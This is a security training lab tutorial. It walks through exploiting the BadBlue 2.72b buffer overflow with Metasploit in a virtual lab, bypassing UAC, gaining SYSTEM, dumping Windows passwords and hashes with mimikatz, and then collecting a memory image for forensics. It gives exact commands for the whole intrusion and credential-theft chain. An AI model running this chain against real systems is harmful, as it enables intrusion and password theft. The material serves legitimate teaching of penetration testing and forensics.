ComputerSecurityStudent (CSS) [Login] [Join Now]




|SECURITY TOOLS >> Metasploit >> Current Page |Views: 22794

(Metasploit: CVE-2007-6377)

{ Kali 1.0: BadBlue 2.72b PassThru Overflow, MimiKatz, WinPMEM Memory Dump }


Section 0: Background Information
  1. What is the scenario?
    • Although companies are starting to do a better job in keeping server software inventories, more often than not, employee workstations are often forgotten about.  This is a sigificant attack vector, because some employees might install file sharing software that has a known vulnerabilities.
    • For example, BadBlue is a easy to use Web Server that can reside on the employees workstation that provides file sharing functionality.  Unfortunately, it has several known vulnerabilities, that include, but are not limited to: buffer overflow, command injection and cross-site scripting vulnerabilities.
    • Imagine that the employee is on a public wifi and is also connected to their company network.  A web server with a known vulnerability could serve as a staging area to take over the machine and capture multiple passwords and more.

  2. What is the BadBlue 2.72b PassThru Buffer Overflow Exploit?
    • Per CVE-2007-6377, A stack-based buffer overflow in the PassThru functionality in ext.dll in BadBlue 2.72b and earlier, allows remote attackers to execute arbitrary code via a long query string.

  3. What is Metasploit?
    • The Metasploit Framework is a open source penetration tool used for developing and executing exploit code against a remote target machine. The Metasploit framework has the world's largest database of publicly tested exploits. In simple words, Metasploit can be used to test the Vulnerability of computer systems in order to protect them and on the other hand it can also be used to break into remote systems.
    • Special thanks goes out the Founder of Metasploit, HD Moore (@hdmoore).

  4. What is mimikatz?
    • Mimikatz is a tool that pulls plain-text passwords out of WDigest interfaced through LSASS.  WDigest is a DLL first added in Windows XP that is used to authenticate users against the HTTP Digest authentication and Simple Authentication Security Layer (SASL) exchanges. Both of these require the user's plain-text password in order to derive the key to authenticate, thus why it is stored in plain-text.
    • Special thanks goes out to the mimikatz author, Benjamin DELPY (@gentilkiwi), for his game-changing work.
    • Reference: https://github.com/gentilkiwi/mimikatz

  5. What is WinPME?
    • WinPMEM is a kernel mode driver for gaining access to physical memory.  It is free opensource that is extremely lightweight.
    • Reference: Releases and README.

  6. What is LosBuntu?
    • I wanted to thank my good friend Carlos Cajigas (@carlos_cajigas) for creating LosBuntu and for his generous guidance and mentorship in Cyber Forensics.
    • LosBuntu is a Linux Live DVD distribution (distro) that can be used to assist in data forensic investigations.  It is a compilation of Master Cajigas' many years of experience as a former law enforcement agent and IBM forensics investigator.

  7. Pre-Requisite Lab
    1. Kali: Lesson 1: Installing Kali 1.0
    2. Damn Vulnerable Windows 7: Lesson 1: How to create a Damn Vulnerable Windows 7 Machine
    3. Damn Vulnerable Windows 7: Lesson 2: How to Install BadBlue
     
  8. Lab Notes
    • In this lab we will do the following:
      1. Download WinPMEM to Forensics Drive.
      2. Start BadBlue Web Server
      3. Run NMAP Version Scan
      4. Run Metasploit Exploit
      5. Run Post UAC (User Account Control) By-Pass Exploit
      6. Load Mimikatz and Display Passwords
      7. Use WinPMEM to Collect Memory and send to a LosBuntu Samba Share

  9. Legal Disclaimer
    • As a condition of your use of this Web site, you warrant to computersecuritystudent.com that you will not use this Web site for any purpose that is unlawful or that is prohibited by these terms, conditions, and notices.
    • In accordance with UCC § 2-316, this product is provided with "no warranties, either express or implied." The information contained is provided "as-is", with "no guarantee of merchantability."
    • In addition, this is a teaching website that does not condone malicious behavior of any kind.
    • You are on notice, that continuing and/or using this lab outside your "own" test environment is considered malicious and is against the law.
    • © 2016 No content replication of any kind is allowed without express written permission.

 

Section 1: Power On the LosBuntu VM
  • Note(FYI): LosBuntu will be used later to forensically collect a memory snapshot of the BadBlue Metasploit Attack Vector.
  1. Open VMware Player on your windows machine.
    • Instructions:
      1. Click the Start Button
      2. Type "vmware player" in the search box
      3. Click on VMware Player

     

  2. Edit Virtual Machine Settings
    • Instructions:
      1. Select LosBuntu
      2. Click Edit Virtual Machine Settings

     

  3. Configure Memory
    • Instructions:
      1. Click on Memory.
      2. Up the memory to 1 GB
    • Note(FYI):
      • LosBuntu really needs 1.5 to 2 GB; however, you will have 3 Virtual Machines running at the same time. You are just using LosBuntu to collect memory for this lesson.
      • Do NOT Click the OK Button, we still have more to configure.

     

  4. Configure CD/DVD(IDE)
    • Instructions:
      1. Click on CD/DVD(IDE)
      2. Device status: Check Connect at power on
      3. Connection: Click Use physical drive
      4. Select Auto detect
    • Note(FYI):
      • Do NOT Click the OK Button, we still have more to configure

     

  5. Configure Network Adapter
    • Instructions:
      1. Click on Network Adapter
      2. Device status: Check Connect at power on
      3. Network Connection: Click NAT: Used to share the ....
      4. Click the OK Button
    • Note(FYI):
      1. We will use NAT instead of bridged, because of multiple VMware Player issues with Windows 7 not acquiring an IP Address when using a Wireless connection.  In order to dump the memory, Kali, Damn Vulnerable Windows 7, and LosBuntu will use NAT.

     

  6. Play LosBuntu Virtual Machine
    • Instructions:
      1. Select LosBuntu
      2. Click Play virtual machine

 

Section 2: Login to LosBuntu
  1. Login to LosBuntu
    • Instructions:
      1. Password: mtk
      2. Press <Enter>

     

  2. Open Terminal Windows
    • Instructions:
      1. Click on the Terminal Window

     

  3. Become root
    • Instructions:
      1. sudo su -
      2. password: mtk
      3. pwd
    • Note(FYI):
      • Command #1, Use (sudo su -) to simulate an initial root login where the /etc/profile, .profile and .bashrc are executed.  Not only will the root user's environment be present, but also the root user will be placed in it's own home directory (/root).
      • Command #2, Use (pwd) to display the current working directory of the particular user.

     

  4. Obtain IP Address
    • Instructions:
      1. ifconfig -a
      2. Record Your IP Address
    • Note(FYI):
      • Command #1, Use (ifconfig) to view all (-a) IP Addresses associated with LosBuntu.  You should only have two interfaces: eth0 and lo.
        • eth0 - Is the primary interface.  In my case, the IP Address is 192.168.121.203.
        • lo - Is the local loopback address.  The loopback address is used to establish an IP connection to the same machine or computer being used by the end-user.  The loopback construct gives a computer or device capable of networking the capability to validate or establish the IP stack on the machine.
      • If your host machine has Internet Connectivity, but LosBuntu does not have an IP Address associated with eth0, then issue the following command as root.
        • dhclient -v

 

Section 3: Configure Samba
  1. Create Forensics Directory (On LosBuntu)
    • Instructions:
      1. mkdir -p /forensics/badblue
      2. chown -R mtk:mtk /forensics
      3. chmod -R 770 /forensics
      4. ls -ld /forensics/badblue
    • Note(FYI):
      • Command #1, Use (mkdir) to create the (/forensics/badblue) directory, and use the (-p) to suppress errors if the directory already exists.
      • Command #2, Use (chown) to change the user and group ownerships to mtk for user and mtk for group for the (/forensics) directory and all underlying directories and files.
      • Command #3, Use (chmod) to set the read/write/execute permissions for both user and group for the (/forensics) directory and all underlying directories and files.
      • Command #4, Use (ls) with the flags (-ld) to list the (/forensics/badblue) directory listing.

     

  2. Open Samba Configuration File
    • Instructions:
      1. cd /etc/samba
      2. cp smb.conf smb.conf.BKP
      3. gedit smb.conf > /dev/null &
    • Note(FYI):
      • Command #1, Use (cd) to enter the (/etc/samba) directory.
      • Command #2, Use (cp) to make a backup copy of the samba configuration file (smb.conf).
      • Command #3, Use (gedit) to open the (smb.conf) file from command line.  Use the redirect operator (>) to send standard error into a black hole (/dev/null).

     

  3. Open Samba Preference
    • Instructions:
      1. Click Edit
      2. Select Preferences

     

  4. Display Line Number
    • Instructions:
      1. Check Display lines numbers
      2. Click the Close Button

     

  5. Add Forensics Directory
    • Instructions:
      1. Scroll Down to line 262
      2. Append forensics/badblue to the end of the slash /
    • Note(FYI):
      • Command #2, Line 262 should look like the below.
        •  path = /forensics/badblue

     

  6. Save File
    • Instructions:
      1. File --> Save

     

  7. Quit gedit
    • Instructions:
      1. File --> Quit

     

  8. Restart the Samba Service
    • Instructions:
      1. service smbd restart
    • Note(FYI):
      • Command #1, Use (service) to restart the samba (ie. smbd) service.

 

Section 4: Start your Windows 7 VM
  1. Open VMware Player on your windows machine.
    • Instructions:
      1. Click the Start Button
      2. Type "vmware player" in the search box
      3. Click on VMware Player

     

  2. Edit Virtual Machine Settings
    • Instructions
      1. Click on Damn Vulnerable Windows 7
      2. Click on Edit virtual machine settings

     

  3. Configure CD/DVE(IDE)
    • Instructions:
      1. Select CD/DVD (IDE)
      2. Click on the Use physical drive: radio button
      3. Select Auto detect
    • Note(FYI):
      1. Do not click on the OK Button

     

  4. Configure Memory
    • Instructions:
      1. Select Memory
      2. Click on "512 MB"
    • Note(FYI):
      • Temporarily lower the amount of memory to 512 MB to limit the size of the memory dump file that we will later analyze in a subsequent lesson.

     

  5. Configure Network Adapter
    • Instructions:
      1. Select Network Adapter
      2. Click the radio button "NAT: Used to share the host's IP address"
      3. Click the OK button
    • Note(FYI):
      • We will use NAT instead of bridged, because of multiple VMware Player issues with Windows 7 not acquiring an IP Address when using a Wireless connection.

     

  6. Start Damn Vulnerable Windows 7
    • Instructions
      1. Click on Damn Vulnerable Windows 7
      2. Click on Play virtual machine

     

Section 5: Login to Windows 7
  1. Select Login User
    • Instructions:
      1. Click on Security Student
    • Note(FYI):
      • Security Student does belong to the Administrators group. 

     

  2. Login as Security Student
    • Instructions:
      1. Supply the student password (abc123).
      2. Click on the arrow

 

Section 6: Verify you have a Network IP Address
  1. Bring up Command Prompt
    • Instructions:
      1. Click the Windows Start Button
      2. Type cmd in the search box
      3. Right Click on cmd
      4. Select Run as administrator
    • Note(FYI):
      • It is imperative that you open the cmd as the administrator.  We will later use this command terminal to set the Administrator password.

     

  2. User Account Control
    • Instructions:
      1. Click on the Yes Button

     

  3. Record IP Address
    • Instructions:
      1. ipconfig
      2. Record your IP Address
    • Notes(FYI):
      1. In my case, my IP Address is 192.168.121.172.
      2. In your case, your IP Address will probably be different.

     

  4. Create BadBlue Forensics Directory
    • Instructions:
      1. mkdir Z:\badblue
      2. dir Z:\badblue
    • Notes(FYI):
      • The Z: Drive represents a "virtual" thumb drive that you created and attached in the previous Metasploit: MS12-020 lesson.  Obviously, a Forensics investigator would/could use write blocker with a real thumb drive and more.

     

  5. Change Administrator's Password
    • Instructions:
      1. net users administrator Try2H4ckMe!
    • Notes(FYI):
      • Command #1, Change the administrator password to (Try2H4ckMe!).  This looks like a difficult password to crack, but you will soon be amazed using the the magic of mimikatz.

 

Section 7: Configure Firefox
  1. Open Firefox (On Damn Vulnerable Windows 7)
    • Instructions:
      1. Click the Windows Start Button
      2. Search for firefox
      3. Click Mozilla Firefox

     

  2. Firefox Options
    • Instructions:
      1. Click on Tools
      2. Select Options

     

  3. File Save Location
    • Instructions:
      1. Click on General
      2. Click on Always ask me where to save files
      3. Click the X to closes the Options Tab.
    • Note(FYI):
      • This will allow you to specify the download directory when saving files.

 

Section 8: Download winpmem_1.6.2
  1. Download winpmem_1.6.2 (On Damn Vulnerable Windows 7)
    • Instructions:
      1. Navigate to the following URL
        • https://github.com/google/rekall/releases/download/v1.3.1/winpmem_1.6.2.exe
      2. Click the Save File Button
    • Note(FYI):
      • WinPMEM is a kernel mode driver for gaining access to physical memory

     

  2. Save winpmem_1.6.2
    • Instructions:
      1. Navigate to the FORENSICS(Z:) Drive
      2. Filename: winpmem_1.6.2
      3. Click the Save Button
    • Note(FYI):
      • We will save WinPMEM on the FORENSICS (Z:) Drive, which acts as our virtual thumb drive.  You should not save or download your memory acquisition tool the (C:) Drive.

 

Section 9: Start BadBlue
  1. Start BadBlue (On Damn Vulnerable Windows 7)
    • Instructions:
      1. Right Click on the BadBlue Icon
      2. Select Open

     

  2. Minimize BadBlue
    • Instructions:
      1. Minimize BadBlue

     

  3. Close BadBlue Webpage
    • Instructions:
      1. Click File
      2. Select Exit

 

Section 10: Switch User to Administrator
  1. Switch User (On Damn Vulnerable Windows 7)
    • Instructions:
      1. Click the Start Button
      2. Click the Arrow () Next to Shutdown
      3. Click Switch user
    • Note(FYI):
      • We are switching users instead of logging out to simulate a Windows Server having multiple users logged into a system during an attack.

     

  2. Login as Administrator
    • Instructions:
      1. Click on Administrator

     

  3. Provide Password
    • Instructions:
      1. Supply the Administrator password (Try2H4ckM3!).
      2. Click on the arrow

     

  4. BadBlue Error
    • Instructions:
      1. Click the OK Button
    • Note(FYI):
      • This error occurred because BadBlue was already started by the student user.

     

  5. Minimize BadBlue
    • Instructions:
      1. Minimize BadBlue

 

Section 11: Configure Kali Virtual Machine Settings
  1. Open VMware Player on your windows machine.
    • Instructions:
      1. Click the Start Button
      2. Type "vmware player" in the search box
      3. Click on VMware Player

     

  2. Edit Virtual Machine Settings
    • Instructions:
      1. Click on Kali
      2. Edit Virtual Machine Settings
    • Note:
      • Before beginning a lesson it is necessary to check the following VM settings.

     

  3. Configure CD/DVD
    • Instructions:
      1. Click on CD/DVD (IDE)
      2. Click on the radio button "Use physical drive:"
      3. Select Auto detect

     

  4. Set Network Adapter
    • Instructions:
      1. Click on Network Adapter
      2. Click the radio button "NAT: Used to share the host's IP Address"
      3. Click the OK Button
    • Note(FYI):
      • We will use NAT instead of bridged, because of multiple VMware Player issues with Windows 7 not acquiring an IP Address when using a Wireless connection.  In order to dump the memory, Kali, Damn Vulnerable Windows 7, and LosBuntu will use NAT.

 

Section 12: Play and Login to Kali
  1. Start Up Kali
    • Instructions:
      1. Click on Kali
      2. Play virtual machine

     

  2. Supply Username
    • Instructions:
      1. Click Other...
      2. Username: root
      3. Click the Log In Button

     

  3. Supply Password
    • Instructions:
      1. Password: <Provide your Kali root password>
      2. Click the Log In Button

     

  4. Open a Terminal Window
    • Instructions:
      1. Click on Applications
      2. Accessories --> Terminal

     

  5. Obtain Kali's IP Address
    • Instructions:
      1. ifconfig
      2. Record your IP Address
    • Note(FYI):
      • Command #1, Is used to display Kali's IP Address.
      • Command #2, Record Your IP Address. 
        • Mine is 192.168.121.207
        • Your will probably be different.
      • If your host machine has Internet Connectivity, but Kali does not have an IP Address associated with eth0, then issue the following command as root.
        • dhclient -v

     

Section 13: Start Typescript
  1. Start A Typescript
    • Instructions:
      1. script /root/bad_blue.txt
    • Notes(FYI):
      • Command #1, Use (script) to make a typescript of the terminal session. It is useful for students who need a hardcopy record of an interactive session as proof of an assignment.  Basically all input and output will be stored in the file (bad_blue.txt).  It can helpful for trouble shooting purposes.

 

Section 14: NMAP Scan
  1. Basic NMAP Scan
    • Note(FYI):
      • Replace (192.168.121.172) with your Damn Vulnerable Windows 7 IP address obtained from [Section 6, Step 3].
    • Instructions:
      1. nmap -sV -p 80 192.168.121.172
      2. View BadBlue Version Number
    • Note(FYI):
      • Command #1, Use (nmap) to scan (Damn Vulnerable Windows 7 VM).  Use the (-p) flag to scan port http/80 and use (-sV) to display the version.

 

Section 15: It's Metasploit Time
  1. Start msfconsole
    • Instructions:
      1. msfconsole
    • Note(FYI):
      • Command #1, The msfconsole provides an "all-in-one" centralized console and allows you efficient access to virtually all of the options available in the MSF.
      • Your banner picture will probably be different.  To change the picture, just type the word banner.

     

  2. Search for BadBlue
    • Instructions:
      1. search badblue
      2. use exploit/windows/http/badblue_passthru
    • Note(FYI):
      • Command #1, The (search) command allows the user to search the module names and descriptions for the string (badblue).
      • Command #2, The (use) command allows the user to set/use the particular module.

     

  3. BadBlue Info
    • Instructions:
      1. info
      2. Notice we will have to set the RHOST (the target address)
    • Note(FYI):
      • Command #1, The (info) commands allows the user to display information about the particular module.  It also allows the user to see which options are required to be set before implementing the specific attack vector.

     

  4. Set RHOST Address
    • Note(FYI):
      • Replace (192.168.121.172) with your Damn Vulnerable Windows 7 IP address obtained from [Section 6, Step 3].
    • Instructions:
      1. set RHOST 192.168.121.172
      2. show options
    • Note(FYI):
      • Command #1, Set RHOST to the IP Address of Damn Vulnerable Windows 7 obtained from [Section 6, Step 3].
      • Command #2, Use (show options) to verified that RHOST was set.

     

  5. Exploit
    • Instructions:
      1. exploit
        • Notice the Meterpreter session.
      2. background
      3. sessions -l
    • Note(FYI):
      • Command #1, Use (exploit) to implement the attack vector.
      • Command #2, Use (background) to place the meterpreter session in the background, which allow you to additionally load the bypassuac module.
      • Command #3, Use (sessions) to display the meterpreter session we placed in the background.

     

  6. Send UAC Bypass
    • Instructions:
      1. use exploit/windows/local/bypassuac
      2. show options
      3. set SESSION 1
        • "1" as in the number one.
      4. exploit
    • Note(FYI):
      • Command #1, This is a post-exploitation module that Escalates the UAC (User Account Control) Protection Bypass.
      • Command #2, Show options.  Notice the SESSION variable needs to be set.
      • Command #3, Set the SESSION variable to Meterpreter session 1.
      • Command #4, Exploit away.  Notice the stage being sent and creation of a new meterpreter connection.

     

  7. Get SYSTEM
    • Instructions:
      1. getuid
      2. getsystem
      3. getuid
    • Note(FYI):
      • Command #1, Use (getuid) to display the username.  Notice the username is student.
      • Command #2, Use (getsystem) to escalate the the user privilege of the current session to the SYSTEM (aka administrator) account.  This is why your general user account should not have administrative privileges.
      • Command #3, Notice the username is now SYSTEM, which has Administrator privileges.

 

Section 16: It's Mimikatz Time
  1. Load mimikatz
    • Instructions:
      1. load mimikatz
      2. mimikatz_command -f version
      3. help mimikatz
    • Note(FYI):
      • Command #1, Use (load mimikatz) to load the Mimikatz module into memory.
      • Command #2, Display the mimikatz version.
      • Command #3, Display the Mimikatz module commands and descriptions.

     

  2. msv credentials
    • Instructions:
      1. msv
    • Note(FYI):
      • Command #1, Use msv to display the msv credentials.
      • Notice the use of NTLM.  NTLM is a suite of authentication and session security protocols used in various Microsoft network protocol implementations.  It is best recognized as part of the "Integrated Windows Authentication", which means there is the potential to retrieve the clear text password if that particular user is logged into the system during the attack.

     

  3. Mimikatz Native Features
    • Instructions:
      1. mimikatz_command -f fu::
    • Note(FYI):
      • Command #1, Display a complete list of the available modules.  This is the native way of running mimikatz.  Notice here you have the ability to see processes, drivers, samdump and more.

     

  4. Mimikatz Samdump
    • Instructions:
      1. mimikatz_command -f samdump::
    • Note(FYI):
      • Command #1, Display the samdump options.

     

  5. Mimikatz Samdump Hashes
    • Instructions:
      1. mimikatz_command -f samdump::hashes
    • Note(FYI):
      • Command #1, Display the SAM Database Hashes.

     

  6. Mimikatz Wdigest
    • Instructions:
      1. wdigest
    • Note(FYI):
      • Command #1, Use the mimikatz metasploit module (wdigest) to display all the passwords of users that are currently logged into the server.  (Are you scared yet?).

     

  7. Mimikatz sekurlsa
    • Instructions:
      1. mimikatz_command -f sekurlsa::searchPasswords
    • Note(FYI):
      • Command #1, This module extracts passwords from the memory of lsass (Local Security Authority Subsystem Service).

 

Section 17: Obtain a Command Line Shell
  1. Command Shell Access (On Kali)
    • Instructions:
      1. shell
      2. netstat -nao | findstr ":4444"
        • Two network connections lines will be returned.
      3. tasklist | findstr "2980"
        • Replace Process ID (2980) with your first PID.
      4. tasklist | findstr "2524"
        • Replace Process ID (2524) with your second PID.
      5. copy C:\Users\IEUser\AppData\Local\Temp\zQFmxBH.exe Z:\badblue\
        • Replace (zQFmxBH.exe) with your executable attached to your second PID line.
    • Note(FYI):
      • Command #1, Use (shell) to access the victim's command line terminal.
      • Command #2, Use (netstat -nao) to display all network connections.  Use (findstr) to display only output that contains the string (:4444).
      • Command #3, Process ID (2980) is attached to the badblue.exe.
      • Command #3, Process ID (2524) is the stager executable that is attached to the (exploit/windows/local/bypassuac) module.

     

  2. Obtain Basic Forensics Files
    • Instructions:
      1. tasklist > Z:\badblue\tasklist.txt
      2. netstat -nao > Z:\badblue\netstat.txt
      3. dir Z:\badblue\
    • Note(FYI):
      • Note that the Z: drive is to simulate a virtual thumb drive.  Obviously,  a forensics investigator would be better equipped with a write blocker and more.
      • Command #1, Use (tasklist) to write all the Windows 7 processes to a the (tasklist.txt) file located on the Z: drive.
      • Command #2, Use (netstat -nao) to write all the Windows 7 network connections to a the (netstat.txt) file located on the Z: drive.
      • Command #3, Use (dir) to display all the files in the (Z:\badblue) directory.

 

Section 18: Obtain WinPMEM Memory Dump
  1. Map LosBuntu Samba Share
    • Note(FYI):
      • Replace (192.168.121.203) with your LosBuntu IP Address obtained from [Section 2, Step 4].
    • Instructions:
      1. net use Y: \\192.168.121.203\losbuntu
      2. Supply Username: mtk
      3. Supply Password: mtk
      4. wmic logicaldisk get name
    • Note(FYI):
      • Command #1, Use (net use) to map the local Y: Drive Letter to the LosBuntu Samba Share.
      • Command #4, Use (wmic logicaldisk) to display all the Drive Letters.

     

  2. Obtain WinPMEM Memory Dump
    • Instructions:
      1. Z:
      2. winpmem_1.6.2.exe Y:\badblue.mem
    • Note(FYI):
      • Command #1, Access the Z: Drive (aka Virtual Thumb Drive), which is where wimpmem is located.
      • Command #2, Run winpmem and write the contents to the Samba Share File (Y:\badblue.mem).  That is pr3tty fr34k1ng Ko0L m4g1c.

     

  3. Copy Forensic Files to Samba Share
    • Instructions:
      1. copy Z:\badblue\*.* Y:\
      2. dir Y:\
    • Note(FYI):
      • Command #1, Use (copy) to copy the Forensics files from the Virtual Thumb Drive (Z:\badblue) to the LosBuntu Samba Share (Y:\).
      • Command #2, Use (dir) to list the contents of the LosBuntu Samba Share (Y:\).

     

  4. Disconnect Samba Share
    • Instructions:
      1. net use Y: /delete
      2. wmic logicaldisk get name
      3. net users administrator password
    • Note(FYI):
      • Command #1, Use (net use) disconnect the LosBuntu Samba Share.
      • Command #2, Use (wmic logicaldisk) to view all the Drive Letters.  Notice, the LosBuntu Drive Y: is not present.
      • Command #3, Use (net users) to set the administrator password to (password).  Obviously, this weak password is only for educational purposes and you should never use a weak password.

 

Section 19: Exit From Metasploit
  1. Exit Metasploit (On Kali)
    • Instructions:
      1. exit
      2. exit -y
      3. exit -y
    • Note(FYI):
      • Command #1, Exit from shell.
      • Command #2, Exit from meterpreter session.
      • Command #3, Exit from Metasploit.

 

Section 20: Proof of Lab
  1. Copy Forensic Files to Samba Share (On LosBuntu)
    • Instructions:
      1. cd /forensics/badblue
      2. ls -lrta
      3. grep ":4444" netstat.txt
        • In the following step, Replace Process ID (2980) with your first PID.
        • In the following step, Replace Process ID (2524) with your second PID.
      4. egrep '(2980|2524)' tasklist.txt
      5. date
      6. echo "Your Name"
        • Replace the string "Your Name" with your actual name.
        • e.g., echo "John Gray"
    • Note(FYI):
      • Command #1, Use (cd) to enter the (/forensics/badblue) directory.
      • Command #2, Use (ls -lrta) to list all (-a) files and their details (-l) in reverse (-r) order by time (-t).
    • Proof of Lab Instructions:
      1. Do a PrtScn
      2. Paste into a word document
      3. Upload to Moodle
     


Help ComputerSecurityStudent
pay for continued research,
resources & bandwidth